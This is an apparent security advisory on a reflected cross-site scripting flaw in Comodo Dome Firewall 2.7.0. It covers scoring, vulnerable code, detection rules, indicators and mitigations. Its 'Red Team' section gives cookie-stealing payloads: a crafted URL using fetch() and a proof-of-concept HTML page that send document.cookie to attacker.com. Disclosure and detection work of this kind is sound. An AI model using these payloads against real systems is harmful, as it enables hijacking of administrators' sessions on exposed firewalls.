CVE-2019-25413

Executive Summary

CVE-2019-25413 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. An unauthenticated attacker can inject arbitrary JavaScript into the ID parameter of the /manage/ips/rules/ endpoint. When a victim visits a crafted URL, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the firewall management interface. No official patch has been released by Comodo, making this a persistent risk for any exposed instance.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Comodo Dome Firewall). No supply chain implications exist beyond the vendor’s own software distribution.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click crafted link)
• Scope: Changed (impact on browser session, not firewall itself)
• Confidentiality Impact: Low (possible session token theft)
• Integrity Impact: Low (possible UI manipulation)
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be exploited by any unauthenticated attacker. Given the lack of a patch, any exposed Comodo Dome Firewall instance is at risk.

Deep Dive & Mechanics

The vulnerability resides in the /manage/ips/rules/ endpoint of the Comodo Dome Firewall web interface. The ID parameter is reflected directly into the HTML response without proper sanitization or encoding. An attacker can craft a URL such as:

https://target-firewall/manage/ips/rules/?ID=<script>alert('XSS')</script>

When a legitimate user (e.g., an administrator) clicks this link, the browser renders the injected script. The script runs in the context of the firewall’s web application, allowing the attacker to:

• Steal session cookies (if not HttpOnly).
• Perform actions on behalf of the victim (e.g., modify firewall rules).
• Redirect to phishing pages.
• Capture keystrokes or other sensitive data.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Vulnerable vs. Patched Code

Vulnerable Code (Comodo Dome Firewall 2.7.0): The ID parameter is directly echoed into the response without encoding. Example (pseudo-code):

$id = $_GET['ID'];
echo "<input type='hidden' name='rule_id' value='" . $id . "'>";

Patched Code (Hypothetical): The ID parameter should be HTML-entity encoded before reflection:

$id = htmlspecialchars($_GET['ID'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='rule_id' value='" . $id . "'>";

Since no official patch exists, users must implement a WAF rule or disable the vulnerable endpoint.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running Comodo Dome Firewall 2.7.0.
• A victim user with access to the firewall web interface.

Exploit Steps:

1. Craft a malicious URL:

   https://target-firewall/manage/ips/rules/?ID=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to the victim via email, chat, or other means.
3. When the victim clicks the link, the script executes and exfiltrates their session cookie to the attacker’s server.
4. The attacker can then use the stolen cookie to impersonate the victim.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "https://target-firewall/manage/ips/rules/?ID=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>";
</script>
</body>
</html>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP requests to /manage/ips/rules/ for suspicious ID parameters containing <script>, onerror, javascript:, or other XSS payloads.
• Use a Web Application Firewall (WAF) to block requests with XSS patterns in the ID parameter.

Mitigation:

• If possible, restrict access to the management interface to trusted IPs only.
• Implement a reverse proxy that sanitizes the ID parameter before forwarding to the backend.
• Apply virtual patching via WAF rules (e.g., ModSecurity).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /manage/ips/rules/ with ID parameter containing <script> or other HTML tags.
  • Outbound connections from victim browser to attacker-controlled domains (e.g., attacker.com).
• Host IOCs:
  • Unexpected JavaScript execution in the context of the firewall web interface.
  • Modified firewall rules or configurations (if session hijacking succeeds).
• Log IOCs:
  • Web server logs showing ID parameter with encoded or raw XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2019_25413_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2019-25413 in Comodo Dome Firewall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25413"
    strings:
        $xss_payload = /ID=.*<script/i
        $xss_payload2 = /ID=.*onerror/i
        $xss_payload3 = /ID=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2019-25413 Reflected XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /manage/ips/rules/ with XSS payloads in the ID parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/manage/ips/rules/'
        cs-uri-query|contains|all:
            - 'ID='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25413 Comodo Dome Firewall Reflected XSS Attempt"; flow:to_server,established; content:"/manage/ips/rules/"; http_uri; content:"ID="; http_uri; pcre:"/ID=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall management interface from the internet. Use VPN or local network access only.
2. Apply a WAF rule to block requests containing <script> or other HTML tags in the ID parameter.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Since no official patch exists, consider upgrading to a supported firewall solution or contacting Comodo for a custom fix.
• Implement input validation and output encoding in any custom reverse proxy placed in front of the firewall.

Workaround:

• Disable the /manage/ips/rules/ endpoint if not needed, or restrict access via .htaccess or firewall rules.

Valters IT